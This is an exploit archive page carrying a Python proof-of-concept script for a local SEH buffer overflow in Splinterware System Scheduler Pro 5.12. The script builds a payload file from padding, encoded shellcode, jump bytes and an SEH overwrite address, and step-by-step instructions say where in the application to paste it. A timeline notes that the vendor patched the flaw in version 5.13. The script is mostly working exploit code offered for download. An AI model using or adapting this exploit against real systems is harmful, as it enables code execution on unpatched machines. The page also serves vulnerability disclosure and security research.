exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Splinterware System Scheduler Pro 5.12 Buffer Overflow

Splinterware System Scheduler Pro 5.12 Buffer Overflow
Posted Jul 23, 2018
Authored by bzyo

Splinterware System Scheduler Pro version 5.12 suffers from a buffer overflow vulnerability.

tags | exploit, overflow
SHA-256 | 8d4d5274d57e6b6e2ac18d146600988c5a911438495615b4a0bfbe69a602d3ed

Splinterware System Scheduler Pro 5.12 Buffer Overflow

Change Mirror Download
#!/usr/bin/python

#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: Splinterware System Scheduler Pro 5.12 - Local Buffer Overflow (SEH)
# Date: 07-21-18
# Vulnerable Software: System Scheduler Pro 5.12
# Vendor Homepage: https://www.splinterware.com
# Version: 5.12
# Software Link: https://www.splinterware.com/download/ssproeval.exe
# Tested Windows 7 SP1 x86
#
#
#
# PoC
# 1. generate sysschedule512.txt, copy contents to clipboard
# 2. open application
# 3. select view, preferences and in the Startup/Logging tab
# 4. paste contents from clipboard to the logfile location field
# 5. exit preferences
# 6. create dummy task to open notepad.exe
# 7. run task, notepad opens
# 8. close notepad
# 9. pop-up window appears and application crashes



import struct

filename="sysschedule512.txt"

junk = "A"*55

#thx giuseppe d'amore for edb-id 28996; edited pop-up msg & encoded
#msfencode -e x86/alpha_mixed -i bzyo; size 287
msg = ("\x89\xe5\xda\xc4\xd9\x75\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a"
"\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59"
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41"
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42"
"\x75\x4a\x49\x74\x71\x58\x52\x4c\x72\x30\x30\x52\x44\x6c"
"\x4b\x75\x42\x4c\x4b\x62\x72\x34\x4c\x4e\x6b\x30\x52\x45"
"\x4c\x6e\x6b\x73\x72\x56\x68\x6c\x4b\x64\x32\x31\x30\x6c"
"\x4b\x66\x72\x4d\x50\x33\x4e\x66\x6c\x50\x33\x32\x55\x39"
"\x62\x4f\x79\x6a\x67\x43\x33\x62\x58\x67\x4c\x6c\x4b\x56"
"\x37\x33\x48\x66\x61\x4a\x62\x4e\x6b\x51\x6a\x77\x50\x55"
"\x51\x49\x57\x66\x51\x58\x6d\x4e\x6b\x30\x34\x6c\x6f\x76"
"\x61\x69\x56\x57\x35\x4d\x51\x67\x4e\x31\x56\x35\x31\x74"
"\x34\x63\x51\x64\x35\x49\x62\x4f\x71\x43\x4e\x46\x68\x53"
"\x75\x53\x48\x71\x79\x64\x34\x30\x75\x5a\x49\x6c\x4b\x30"
"\x7a\x51\x34\x33\x31\x59\x57\x42\x46\x4c\x4b\x44\x6c\x50"
"\x6f\x4e\x6b\x52\x5a\x45\x4c\x65\x51\x4b\x77\x6e\x6b\x71"
"\x6c\x6e\x4f\x6b\x4c\x55\x51\x38\x47\x51\x78\x37\x51\x75"
"\x71\x37\x51\x76\x61\x65\x38\x71\x52\x61\x4a\x43\x69\x50"
"\x4f\x50\x68\x31\x30\x55\x71\x64\x61\x67\x51\x6d\x59\x48"
"\x61\x6b\x4e\x73\x79\x66\x6b\x44\x71\x6b\x70\x66\x31\x50"
"\x50\x49\x6f\x68\x57\x41\x41")

junk1 = "B"*56

#jmp back to As
jmp3 = "\xe9\x6f\xfe\xff\xff"

junk2= "C"*4

#jmp back after random 8 nulls added
jmp2 = "\xeb\xf5"

junk3 = "C"*10

#jmp back before random 8 nulls added
jmp = "\xeb\xf2\xcc\xcc"

seh = struct.pack('<L',0x00413121)

buffer = junk + msg + junk1 + jmp3 + junk2 + jmp2 + junk3 + jmp + seh

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

# Timeline
#---------------------------------------------------------------------
#05-02-18: Vendor notified of vulnerability
#05-03-18: Initial vendor response
#05-09-18: Issues resolved after some back and forth discussion
#07-20-18: New version released, 5.13, with issue fixed
#07-21-18: Submitted public disclosure

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close